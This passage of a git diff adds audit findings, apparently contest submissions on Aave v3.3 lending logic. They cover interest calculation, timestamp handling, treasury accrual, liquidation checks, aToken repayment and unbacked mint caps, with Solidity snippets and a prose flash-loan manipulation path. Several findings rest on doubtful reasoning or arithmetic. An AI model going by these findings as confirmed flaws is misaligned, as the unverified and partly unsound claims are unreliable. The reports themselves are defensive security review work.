to Taylor Series Truncation in Interest Rate Calculation + +## Description +The protocol's interest calculation mechanism contains a critical vulnerability stemming from its use of a truncated binomial approximation for compound interest calculations. While documented as a gas optimization that "slightly underpays," this approximation can actually lead to significant economic implications at scale. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L70 + +```solidity +// In getNormalizedDebt +function getNormalizedDebt( + DataTypes.ReserveData storage reserve +) internal view returns (uint256) { + uint40 timestamp = reserve.lastUpdateTimestamp; + + if (timestamp == block.timestamp) { + return reserve.variableBorrowIndex; + } else { + return MathUtils.calculateCompoundedInterest( + reserve.currentVariableBorrowRate, + timestamp + ).rayMul(reserve.variableBorrowIndex); + } +} + +// In MathUtils +function calculateCompoundedInterest( + uint256 rate, + uint40 lastUpdateTimestamp, + uint256 currentTimestamp +) internal pure returns (uint256) { + uint256 exp = currentTimestamp - uint256(lastUpdateTimestamp); + if (exp == 0) { + return WadRayMath.RAY; + } + + // Binomial approximation implementation + uint256 expMinusOne = exp - 1; + uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; + uint256 basePowerTwo = rate.rayMul(rate) / (SECONDS_PER_YEAR * SECONDS_PER_YEAR); + uint256 basePowerThree = basePowerTwo.rayMul(rate) / SECONDS_PER_YEAR; + + uint256 secondTerm = exp * expMinusOne * basePowerTwo / 2; + uint256 thirdTerm = exp * expMinusOne * expMinusTwo * basePowerThree / 6; + + return WadRayMath.RAY + (rate * exp) / SECONDS_PER_YEAR + secondTerm + thirdTerm; +} +``` + + +The mathematical approximation used truncates higher-order terms, leading to systematic underestimation of accrued interest: +```solidity +(1+x)^n = 1 + n*x + [n/2*(n-1)]*x^2 + [n/6*(n-1)*(n-2)]*x^3 +``` + +## Impact + +The issue manifests first at the mathematical level with interest rate calculations. In typical market conditions with moderate interest rates (around 5% APY), the approximation error from truncating higher-order terms in the binomial expansion is minimal, perhaps 0.01%. However, this error becomes pronounced in high-interest environments. When rates reach levels like 50% APY, the x value in the (1+x)^n approximation becomes larger, making the dropped higher-order terms significantly more impactful. A 0.5% error on a 50% APY represents a much larger absolute value than the same percentage error on a 5% APY. + +This base error is then amplified through temporal effects. While the daily impact might be negligible, the error accumulates non-linearly over time. As positions remain open for months or years, more terms in the truncated series become mathematically significant. The truncation error doesn't just add up - it compounds exponentially. A seemingly minor daily error of 0.1% can compound into several percentage points over a year, as each period's calculation builds upon the previous period's already-understated value. + +The protocol architecture further magnifies this mathematical error through systemic aggregation. The underestimation affects every interest calculation across all lenders, assets, and time periods. In a protocol with 1 million users averaging $10,000 positions, even a modest 0.5% average underestimation translates to a $50 million protocol-wide underpayment. This demonstrates how individual "slight" errors can aggregate into material sums at the protocol level. + +The most concerning aspect is the compounding feedback loop this creates. Each interest calculation period uses the previous period's understated value as its base, creating a cumulative error that exceeds simple addition. For instance, starting with 100 units and a 10% intended interest rate: the first period might calculate to 109.9 instead of 110, and the second period compounds this error by calculating based on 109.9, yielding 120.77 instead of 121. This error propagation accelerates over time and with higher rates. + +## Recommendation + +1. Implement exact compound interest calculation for critical thresholds: +```solidity +function calculateExactCompoundedInterest( + uint256 rate, + uint40 lastUpdateTimestamp +) internal view returns (uint256) { + uint256 timeDelta = block.timestamp - lastUpdateTimestamp; + return (1 + rate).pow(timeDelta / SECONDS_PER_YEAR); +} +``` + +2. Force more frequent updates to minimize approximation impact: +```solidity +require(block.timestamp - lastUpdateTimestamp <= MAX_TIME_DELTA, "Update required"); +``` + +3. Add more terms to the approximation for better accuracy in high-rate scenarios. + +4. Implement dynamic term selection based on rate magnitude and time delta. \ No newline at end of file diff --git a/168.md b/168.md new file mode 100644 index 0000000..7a44003 --- /dev/null +++ b/168.md @@ -0,0 +1,39 @@ +Proud Taffy Worm + +Medium + +# Cache-Storage Timestamp Desynchronization in updateState() Enables Premature State Updates + +## Summary + +There is a critical state consistency vulnerability in the `updateState` function of the ReserveLogic library. The function performs its timestamp validation check against a cached timestamp value stored in memory (`reserveCache.reserveLastUpdateTimestamp`) rather than the authoritative timestamp stored in contract storage (`reserve.lastUpdateTimestamp`). This cached timestamp is populated by the `cache()` function which reads from storage, but there is no guarantee that the cache remains in sync with storage between operations. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L92 + +```solidity +function updateState( + DataTypes.ReserveData storage reserve, + DataTypes.ReserveCache memory reserveCache +) internal { + // If time didn't pass since last stored timestamp, skip state update + if (reserveCache.reserveLastUpdateTimestamp == uint40(block.timestamp)) { + return; + } + + _updateIndexes(reserve, reserveCache); + _accrueToTreasury(reserve, reserveCache); + + reserve.lastUpdateTimestamp = uint40(block.timestamp); + reserveCache.reserveLastUpdateTimestamp = uint40(block.timestamp); +} +``` + +This creates a potential attack vector where if the cache becomes stale or out of sync with the actual storage state, the timestamp validation check could be bypassed entirely. When `updateState` is called, it would incorrectly allow an update even though insufficient time has passed according to the true storage state. + +The impact of this vulnerability is severe as it could allow interest rate updates and treasury accruals to occur more frequently than intended. This could lead to incorrect interest calculations, improper treasury fee collection, and overall manipulation of the protocol's economic model. In a lending protocol where interest rates directly affect user assets, any inconsistency in state updates could result in financial losses for users or unfair advantages for bad actors who can exploit the timing discrepancy. + +## Recommended mitigation steps + +The vulnerability should be addressed by implementing a two-part solution that ensures both validation and synchronization of state. First, the timestamp check in `updateState` should be modified to validate directly against the storage state rather than the cached value. This ensures that the core timing logic always operates on the authoritative state stored in the contract. + +Additionally, a cache validation check should be added at the beginning of the function to ensure that any cached values being used for subsequent calculations are actually in sync with storage. This creates a defense-in-depth approach where both the critical timestamp check and the cached values used for calculations are guaranteed to be accurate. \ No newline at end of file diff --git a/169.md b/169.md new file mode 100644 index 0000000..a313cdd --- /dev/null +++ b/169.md @@ -0,0 +1,92 @@ +Proud Taffy Worm + +Medium + +# Uninitialized lastUpdateTimestamp Causes Catastrophic Interest Accrual on First Update in ReserveLogic + +## Summary +The `init` function in the ReserveLogic library fails to initialize the critical `lastUpdateTimestamp` field when setting up a new reserve. This timestamp is used extensively throughout the contract for interest rate calculations and state updates. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L139 + +```solidity +function init( + DataTypes.ReserveData storage reserve, + address aTokenAddress, + address variableDebtTokenAddress, + address interestRateStrategyAddress +) internal { + require(reserve.aTokenAddress == address(0), Errors.RESERVE_ALREADY_INITIALIZED); + + reserve.liquidityIndex = uint128(WadRayMath.RAY); + reserve.variableBorrowIndex = uint128(WadRayMath.RAY); + reserve.aTokenAddress = aTokenAddress; + reserve.variableDebtTokenAddress = variableDebtTokenAddress; + reserve.interestRateStrategyAddress = interestRateStrategyAddress; +} +``` + +When `lastUpdateTimestamp` is left uninitialized, it defaults to 0. The contract's interest calculation functions rely on this timestamp to compute time deltas for both linear and compound interest accrual, as well as determining the timing of state updates. This creates a critical vulnerability where the first interest calculation after initialization will compute rates based on a time delta spanning from Unix timestamp 0 to the current block timestamp. + +This implementation flaw means the initial interest calculation would use a time delta of several decades, leading to astronomical interest accrual on the first update. Due to the compound interest mechanics in functions like `_updateIndexes()`, this could trigger numeric overflows or, if not overflowing, produce severely incorrect interest calculations. Since this affects core financial computations, it represents a critical vulnerability that could destabilize the lending protocol's economic model and result in substantial losses through incorrect interest accrual. + +## Scenario + +1. **Initial Setup**: + - A new reserve is initialized via the `init()` function + - `lastUpdateTimestamp` is left as default value 0 + - Initial reserve indices are set to WadRayMath.RAY (1e27) + +2. **First User Interaction**: + - User attempts to perform an action that triggers state update (borrow/supply) + - `updateState()` is called + - State hasn't been updated in current block, so update proceeds + +3. **Interest Calculation Path**: + ```solidity + // In _updateIndexes() + cumulatedLiquidityInterest = MathUtils.calculateLinearInterest( + reserveCache.currLiquidityRate, + 0 // lastUpdateTimestamp is 0 + ); + // Time delta = block.timestamp - 0 + // Example: For block.timestamp of 1705900000 (Jan 2024) + // Interest calculation uses 1705900000 seconds (~54 years) + ``` + +4. **Economic Impact**: + - Even with a modest interest rate (e.g., 5% APY) + - The massive time delta causes extreme interest accrual + - Interest indices get multiplied by this factor + - All subsequent user interactions would use these corrupted indices + - Results in incorrect borrow/lending positions for all users + +5. **System Failure**: + - Protocol's economic parameters become severely distorted + - Interest rates and balances no longer reflect reality + - Could lead to immediate draining of liquidity due to inflated balances + + + +## Recommended mitigation steps +The `init` function should be modified to properly initialize the `lastUpdateTimestamp` field: + +```solidity +function init( + DataTypes.ReserveData storage reserve, + address aTokenAddress, + address variableDebtTokenAddress, + address interestRateStrategyAddress +) internal { + require(reserve.aTokenAddress == address(0), Errors.RESERVE_ALREADY_INITIALIZED); + + reserve.liquidityIndex = uint128(WadRayMath.RAY); + reserve.variableBorrowIndex = uint128(WadRayMath.RAY); + reserve.aTokenAddress = aTokenAddress; + reserve.variableDebtTokenAddress = variableDebtTokenAddress; + reserve.interestRateStrategyAddress = interestRateStrategyAddress; + reserve.lastUpdateTimestamp = uint40(block.timestamp); // Add this line +} +``` + +This change ensures that interest calculations begin from the actual initialization time rather than timestamp 0, maintaining the economic integrity of the protocol's interest rate mechanics. \ No newline at end of file diff --git a/170.md b/170.md new file mode 100644 index 0000000..b82c17a --- /dev/null +++ b/170.md @@ -0,0 +1,77 @@ +Proud Taffy Worm + +Medium + +# Incorrect Scaled Debt Variable Usage in Treasury Accrual Leads to Fee Loss + +## Summary +When calculating interest accrual to the treasury in the `_accrueToTreasury` function, the contract incorrectly uses the same scaled debt value (`currScaledVariableDebt`) for both previous and current debt calculations, instead of accounting for changes in the total debt between updates. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L217 + +```solidity +uint256 prevTotalVariableDebt = reserveCache.currScaledVariableDebt.rayMul( + reserveCache.currVariableBorrowIndex +); + +uint256 currTotalVariableDebt = reserveCache.currScaledVariableDebt.rayMul( + reserveCache.nextVariableBorrowIndex +); +``` + +This creates a critical accounting error in the protocol's interest calculations when the total scaled debt changes between updates (due to new borrows or repayments). The function fails to capture these debt changes in its calculations, leading to: + +1. Under-accrual of interest to the treasury when new debt is added - because the new debt amount isn't included in the calculation +2. Over-accrual of interest when debt is repaid - because the reduced debt isn't reflected in the calculation + +## Scenario + +1. A borrower takes out a variable rate loan of 1000 USDC at time T0 +- Initial currScaledVariableDebt = 1000 +- currVariableBorrowIndex = 1.0 + +2. At time T1, the borrower adds another 500 USDC loan: +- nextScaledVariableDebt should be 1500 +- nextVariableBorrowIndex = 1.1 (due to interest accrual) + +3. The _accrueToTreasury calculation executes: +```solidity +prevTotalVariableDebt = 1000 * 1.0 = 1000 USDC +currTotalVariableDebt = 1000 * 1.1 = 1100 USDC // Uses currScaledVariableDebt instead of 1500 +totalDebtAccrued = 1100 - 1000 = 100 USDC +``` + +4. Actual correct calculation should be: +```solidity +prevTotalVariableDebt = 1000 * 1.0 = 1000 USDC +currTotalVariableDebt = 1500 * 1.1 = 1650 USDC // Using nextScaledVariableDebt +totalDebtAccrued = 1650 - 1000 = 650 USDC +``` + +5. Result: +- Treasury receives interest on 100 USDC instead of 650 USDC +- Missing accrual: 550 USDC (84.6% of expected interest) +- This compounds with each subsequent interest calculation cycle + +This demonstrates how the miscalculation creates an expanding delta between expected and actual treasury accruals, with the severity scaling proportionally to debt position sizes and update frequency. + +## Impact + +The impact is severe as the protocol's treasury accrual mechanism becomes fundamentally flawed, with each interest calculation cycle propagating and amplifying the accounting discrepancy. This creates a compounding error effect where subsequent calculations build upon incorrect accrual values, leading to an expanding deviation from the intended economic model. In extreme scenarios with significant borrowing volume, this could precipitate protocol insolvency by severely undermining the treasury's ability to accurately account for and collect protocol fees. The systemic nature of this miscalculation particularly impacts high-value debt positions, where even small percentage errors translate to substantial absolute value discrepancies in the protocol's financial accounting. + +## Recommended mitigation steps +Update the `_accrueToTreasury` function to use different scaled debt values for previous and current calculations: + +```solidity +uint256 prevTotalVariableDebt = reserveCache.currScaledVariableDebt.rayMul( + reserveCache.currVariableBorrowIndex +); + +uint256 currTotalVariableDebt = reserveCache.nextScaledVariableDebt.rayMul( + reserveCache.nextVariableBorrowIndex +); +``` + +This ensures that: +1. Previous debt calculation uses the old scaled debt (`currScaledVariableDebt`) +2. Current debt calculation uses the new scaled debt (`nextScaledVariableDebt`) diff --git a/171.md b/171.md new file mode 100644 index 0000000..03ffc2a --- /dev/null +++ b/171.md @@ -0,0 +1,88 @@ +Alert Lead Wolverine + +Medium + +# Improper validation of liquidation calls can lead to failure in liquidating users with health-factor exactly at `0.95`. + +### Summary + +In aave, a liquidation can only be performed once a users health-factor drops below 1, and at health factor `<=0.95` the CLOSE_FACTOR of 100% is used. The function [executeLiquidationCall()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200) called through `pool.sol` is used to liquidate users. This function uses [validateLiquidationCall()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L381) to validate the liquidation call before proceeding, but there is a scenario that exists here that prevents positions with health factor exactly = `0.95` from being liquidated. +According to the docs at health factor below 1 liquidation is allowed and at a health factor <= 0.95 liquidation of the whole position is allowed. Signifying that 0.95 is a critical health factor, meaning that at 0.95 and below the MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD is severe and requires full liquidation. However, in the check at [validateLiquidationCall](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L403) liquidation is only allowed for numbers below 0.95 and not 0.95 itself. + + +### Root Cause + +The root cause of this issue is that in the validating function [validateLiquidationCall()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L381) the require statement allows only positions with health factor `less than` (<0.95) MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD instead of `less than or equal to` (<=0.95). The check is designed to allow liquidation of bad positions even when the sequencer oracle (`PriceOracleSentinel`) is down or in grace period ensuring that positions with severe health factors can be liquidated. +```solidity + function validateLiquidationCall( + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveData storage collateralReserve, + DataTypes.ReserveData storage debtReserve, + DataTypes.ValidateLiquidationCallParams memory params + ) internal view { +... + + + require( + params.priceOracleSentinel == address(0) || +@> params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || + IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), + Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED + ); + +... +} +``` +**Relevant Links** +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L403 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L241 + +### Internal Pre-conditions + +1. [isLiquidationAllowed()]() returns false as the `sequenceroracle is down or still in `grace period` and the health factor of the position is exactly `0.95` +2. params.priceOracleSentinel == address(0) (Which should be only for ethereum mainnet) + +### External Pre-conditions + +1. Health factor of a user is exactly at `0.95` and should be fully liquidated regardless [isLiquidationAllowed()]() returns false or params.priceOracleSentinel == address(0) +2. A liquidator attempts to liquidate a position with a health factor of 0.95. + +### Attack Path + +1. A user’s position becomes vulnerable to liquidation with a health factor of 0.95. +2. The liquidator attempts to initiate liquidation via the executeLiquidationCall() function while the external and internal conditions hold. +3. The call to validateLiquidationCall() fails due to the < operator in the health factor check. +4. Liquidation cannot proceed, leaving the position unprotected and potentially increasing protocol risk. + +### Impact + +1. When the sequencer is down or in the grace period, positions `exactly` at the critical health factor number of `0.95` cannot be liquidated as the check will always revert. +2. It could lead to insolvency. + +### PoC + +_No response_ + +### Mitigation + +The < sign in [validateLiquidationCall](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L403) should be changed to <= to account for positions with health factor exactly at `0.95` to be liquidated. +```diff + function validateLiquidationCall( + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveData storage collateralReserve, + DataTypes.ReserveData storage debtReserve, + DataTypes.ValidateLiquidationCallParams memory params + ) internal view { +... + +require( + params.priceOracleSentinel == address(0) || +-- params.healthFactor < MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || +++ params.healthFactor <= MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD || + IPriceOracleSentinel(params.priceOracleSentinel).isLiquidationAllowed(), + Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED + ); +... +} + +``` diff --git a/172.md b/172.md new file mode 100644 index 0000000..0be9cc9 --- /dev/null +++ b/172.md @@ -0,0 +1,60 @@ +Proud Taffy Worm + +Medium + +# Virtual Balance Updates Incorrectly Gated by releaseUnderlying Flag Leading to Inaccurate Interest Rate Calculations + +## Summary + +A critical vulnerability exists in BorrowLogic contract where the virtual accounting system incorrectly ties protocol state updates to physical token transfers. This breaks the protocol's defense-in-depth design and can lead to inaccurate interest rate calculations and improper risk assessment. + +The vulnerability lies in the virtual accounting logic within the `executeBorrow` function, where the protocol's virtual balance updating mechanism fails to properly track all capital movements: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60 + +```solidity +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + 0, + params.releaseUnderlying ? params.amount : 0 // Incorrect virtual accounting +); +``` + +## Scenario + +1. User calls executeBorrow with releaseUnderlying = false +2. BorrowLogic.executeBorrow() processes borrow but skips virtual balance update due to releaseUnderlying check +3. updateInterestRatesAndVirtualBalance() is called with liquidityTaken = 0 +4. Interest rate strategy calculates utilization using incorrect virtualUnderlyingBalance +5. Interest rates are miscalculated since utilization = total debt / (virtual balance + total debt) uses wrong virtual balance +6. Protocol state becomes inconsistent as borrowed amounts aren't reflected in virtual accounting +7. This leads to systemic underpricing/mispricing of subsequent loans and unbalanced liquidity pools +8. Attack can be repeated to further manipulate interest rates and protocol state + +## Impact + +This implementation fundamentally breaks Aave's virtual accounting design by tying virtual balance updates to physical token transfers via the `releaseUnderlying` flag. The protocol's architecture specifies that virtual accounting should track capital movements independently of actual token transfers to maintain an accurate representation of protocol liquidity state. + +The flaw propagates into the interest rate calculation system, where the `virtualUnderlyingBalance` serves as a critical input for utilization calculations. Since borrows without `releaseUnderlying` don't update the virtual balance, the utilization formula `total debt / (virtual balance + total debt)` receives incorrect inputs, leading to distorted interest rate adjustments. + +The architectural impact extends deeper into Aave's defense-in-depth strategy. The `virtualUnderlyingBalance` was designed as a protection mechanism against various attack vectors, but the current implementation creates a dangerous disparity between the protocol's actual liquidity state and its recorded virtual balance. + + + +## Fix +The necessary fix decouples virtual accounting from physical token movements: +```solidity +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + 0, + params.amount // Protocol state updated regardless of transfer +); + +if (params.releaseUnderlying) { + IAToken(reserveCache.aTokenAddress).transferUnderlyingTo(params.user, params.amount); +} +``` + +This correction ensures protocol state consistency by maintaining accurate virtual balance accounting while preserving the independent nature of physical token transfers. \ No newline at end of file diff --git a/173.md b/173.md new file mode 100644 index 0000000..047abe5 --- /dev/null +++ b/173.md @@ -0,0 +1,53 @@ +Clever Chili Halibut + +Medium + +# Handling of params.amount in executeRepay function + +#Description + +#Summary +In the https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154 function, the logic for determining https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L176 could lead to issues if https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L179 is set to is set to type(uint256).max and the user has less debt than that. + +#Vulnerability details +The vulnerability arises in the following part of the function: +if (params.useATokens && params.amount == type(uint256).max) { + params.amount = IAToken(reserveCache.aTokenAddress).balanceOf(msg.sender); +} +When params.amount is set to type(uint256).max (a common sentinel value indicating "repay as much as possible"), the logic overrides params.amount with the aToken balance of msg.sender. +The function subsequently calculates paybackAmount as the smaller of params.amount and variableDebt. +If the user's aToken balance is less than their actual variableDebt, they won't repay their full debt, leaving residual debt (variableDebt - paybackAmount). +Since the residual debt might be small (e.g., due to rounding errors or interest accumulation), the user may incorrectly believe they've fully repaid their debt, leading to unexpected outcomes. + +#Impact + +User Confusion: +Users may think they have repaid their entire debt if they provided type(uint256).max, but residual debt remains due to insufficient aToken balance. +This could lead to penalties, additional interest accrual, or unintended actions like liquidation in case of collateralized positions. + +Financial Risks: +Residual debt may cause issues for protocols relying on precise debt management, affecting solvency metrics or reserve balance tracking. + +State Inconsistency: +Residual debt might not align with the protocol's expectations, potentially leading to discrepancies in accounting or logic downstream. + +#Tools used +Manual review + +#Mitigation +Enforce Explicit Debt Repayment: +If params.amount == type(uint256).max, explicitly calculate paybackAmount as the full variableDebt, irrespective of the aToken balance: +uint256 maxRepayableAmount = params.useATokens + ? IAToken(reserveCache.aTokenAddress).balanceOf(msg.sender) + : variableDebt; +paybackAmount = params.amount < maxRepayableAmount ? params.amount : maxRepayableAmount; + +Validate params.amount Against Debt: +Add a validation step to ensure params.amount does not exceed variableDebt: +require(params.amount <= variableDebt, "Repay amount exceeds outstanding debt"); + +Emit Residual Debt Events: +If residual debt remains, emit an event to notify the user and provide clear feedback: +if (variableDebt - paybackAmount > 0) { + emit ResidualDebt(params.asset, params.onBehalfOf, variableDebt - paybackAmount); +} diff --git a/174.md b/174.md new file mode 100644 index 0000000..c171c08 --- /dev/null +++ b/174.md @@ -0,0 +1,84 @@ +Proud Taffy Worm + +Medium + +# Interest Rate Manipulation Risk Through Flash Loan-Enabled Utilization Attacks + +## Summary +The Aave v3 borrowing mechanism is vulnerable to flash loan attacks that can manipulate interest rates by rapidly changing utilization ratios. While protections exist, the system lacks explicit safeguards against rapid utilization changes that could impact borrowing costs. + +## Vulnerability Details +In BorrowLogic.sol, the borrowing flow updates interest rates based on utilization: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60 + +```solidity +// Initial state update +reserve.updateState(reserveCache); + +// Interest rate update after borrow +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + 0, // liquidityAdded + params.releaseUnderlying ? params.amount : 0 // liquidityTaken +); +``` + +The vulnerability arises because: + +1. `updateState()` only updates indices based on previous rates +2. `updateInterestRatesAndVirtualBalance()` calculates new rates based on current utilization: +```solidity +uint256 totalVariableDebt = reserveCache.nextScaledVariableDebt.rayMul( + reserveCache.nextVariableBorrowIndex +); +(uint256 nextLiquidityRate, uint256 nextVariableRate) = IReserveInterestRateStrategy( + reserve.interestRateStrategyAddress +).calculateInterestRates(...); +``` + +## Attack Path +1. Attacker uses flash loan to make large deposit, lowering utilization and rates +2. Other users borrow at artificially low rates +3. Attacker quickly withdraws deposit and borrows heavily to spike utilization +4. Interest rates increase rapidly based on new utilization + +## Impact + +The interest rate manipulation can directly affect borrower positions through unplanned rate increases driven by rapid utilization changes. When an attacker executes large deposits followed by withdrawals, the protocol's interest rate calculations in `updateInterestRatesAndVirtualBalance()` respond to these utilization shifts, causing rate volatility. Since borrowers' variable debt accrual is tied to these rates through `variableBorrowIndex`, sudden rate spikes increase their debt faster than anticipated. + +While the attack requires careful timing and substantial capital to influence utilization meaningfully, the impact manifests through the protocol's own interest rate mechanics rather than external factors. The effectiveness depends on market depth and current utilization levels, as deeper liquidity pools require more capital to manipulate. However, in periods of lower liquidity, even moderate-sized flash loans could trigger notable rate movements through the `calculateInterestRates()` function's response to utilization changes. + +This creates a reproducible exploit path where rate volatility is achieved through legitimate protocol functions, potentially destabilizing borrowing positions that were opened under different rate assumptions. The lack of rate change limits or circuit breakers in the current implementation means these rate movements, once triggered, directly impact all variable-rate borrowers in the affected market. + +## Proof of Concept +An attacker could: +1. Flash loan 10M USDC +2. Deposit to lower utilization from 80% to 40% +3. Wait for borrowers to act on lower rates +4. Withdraw and borrow to push utilization back to 80%+ +5. Repay flash loan + +## Recommendation +1. Implement rate change limits between blocks +2. Add circuit breakers for utilization swings +3. Consider historical rate checks +4. Add slippage protection for borrowers + +For example: +```solidity +function executeBorrow(...) { + // Add max rate change per block + require( + newRate <= prevRate * MAX_RATE_CHANGE, + "Rate change too large" + ); + + // Add utilization change limits + require( + newUtilization <= prevUtilization * MAX_UTIL_CHANGE, + "Utilization change too large" + ); +} +``` \ No newline at end of file diff --git a/175.md b/175.md new file mode 100644 index 0000000..9d4bec1 --- /dev/null +++ b/175.md @@ -0,0 +1,82 @@ +Proud Taffy Worm + +High + +# Aave v3 aToken Burn Receiver Mismatch Causes Underlying Token Lock During Debt Repayment + +## Summary +In Aave v3's debt repayment system, when users repay using aTokens, the underlying tokens remain trapped in the aToken contract due to incorrect handling of the receiver address in the aToken burn operation. + +In BorrowLogic.sol, when users repay debt using aTokens, the following code is executed: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154 + +```solidity +if (params.useATokens) { + IAToken(reserveCache.aTokenAddress).burn( + msg.sender, + reserveCache.aTokenAddress, // WRONG: sends tokens to aToken contract + paybackAmount, + reserveCache.nextLiquidityIndex + ); +} +``` + +Looking at AToken.sol's burn implementation: + +```solidity +function burn( + address from, + address receiverOfUnderlying, + uint256 amount, + uint256 index +) external virtual override onlyPool { + _burnScaled(from, receiverOfUnderlying, amount, index); + if (receiverOfUnderlying != address(this)) { + IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount); + } +} +``` + +The issue arises because: +1. The burn function is called with the aToken contract address as receiverOfUnderlying +2. This fails the `receiverOfUnderlying != address(this)` check +3. As a result, the underlying tokens are never transferred and remain trapped in the aToken contract + +## Impact + +When users attempt to repay debt using aTokens via the `repayWithATokens()` function, the burn operation only succeeds in destroying the user's aToken balance. However, since the burn's `receiverOfUnderlying` parameter is set to the aToken contract itself, the underlying token transfer is skipped due to the `receiverOfUnderlying != address(this)` check in the burn function. This means that while the aTokens are burned and removed from circulation, the underlying tokens meant for repayment remain immobilized in the aToken contract. + +This creates a mismatch between the debt accounting and actual token flows - the protocol registers the debt repayment (by burning aTokens and debt tokens) but never receives the underlying tokens needed to process that repayment. This vulnerability exists in all Aave v3 deployments since it's part of the core repayment logic in the BorrowLogic library. + +The issue is observable in any transaction that calls `repayWithATokens()`, which is the primary method for users to repay debt using their aToken holdings rather than the underlying asset. + + +## Recommendation +Update ExecuteRepayParams struct to include Pool address: + +```solidity +struct ExecuteRepayParams { + address pool; // Add Pool address + address asset; + uint256 amount; + InterestRateMode interestRateMode; + address onBehalfOf; + bool useATokens; +} +``` + +Then update the aToken burn call to use Pool address as receiver: + +```solidity +if (params.useATokens) { + IAToken(reserveCache.aTokenAddress).burn( + msg.sender, + params.pool, // Use Pool address as receiver + paybackAmount, + reserveCache.nextLiquidityIndex + ); +} +``` + +This ensures underlying tokens are properly transferred to the Pool contract to complete the repayment flow. \ No newline at end of file diff --git a/176.md b/176.md new file mode 100644 index 0000000..18e9b82 --- /dev/null +++ b/176.md @@ -0,0 +1,73 @@ +Proud Taffy Worm + +High + +# Unbacked Mint Cap Validation Inconsistent with Economic Calculations + +### Description +The `executeMintUnbacked` function in `BridgeLogic.sol` contains a cap validation vulnerability where it enforces the unbacked mint cap against only the `unbacked` amount while ignoring accumulated `deficit`, despite both values contributing to the protocol's total unbacked exposure. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L57 + +```solidity +// In executeMintUnbacked +uint256 unbacked = reserve.unbacked += amount.toUint128(); +require( + unbacked <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED +); +``` + +However, the protocol considers both values when calculating rates and risk: +```solidity +calculateInterestRates( + DataTypes.CalculateInterestRatesParams({ + unbacked: reserve.unbacked + reserve.deficit, // Total exposure + liquidityAdded: liquidityAdded, + liquidityTaken: liquidityTaken, + totalDebt: totalVariableDebt, + // ... + }) +); +``` + +### Impact +The cap validation inconsistency creates significant risk despite the bridge-only access restriction. A malicious or compromised bridge could: + +1. Exploit the gap between tracked and actual exposure to bypass protocol-defined safety limits +2. Mint unbacked tokens beyond intended maximums since `deficit` is excluded from cap checks +3. Cause market disruption through sudden large mints that exceed the true intended cap + +This vulnerability is particularly severe because: +- Bridges handle large volumes of cross-chain value +- The unbacked mint cap exists specifically as a critical bridge safety parameter +- Market disruption can occur before interest rate adjustments take effect +- The exposure from unbacked mints directly affects protocol solvency + +### Recommended Mitigation Steps + +1. Align cap validation with total exposure: +```solidity +function executeMintUnbacked(...) { + uint256 totalExposure = (reserve.unbacked + reserve.deficit) + amount.toUint128(); + require( + totalExposure <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED + ); + // ... +} +``` + +2. Consider separate tracking of unbacked vs deficit exposure: +```solidity +require( + reserve.unbacked + amount <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED +); +require( + reserve.deficit <= maxDeficitCap, + 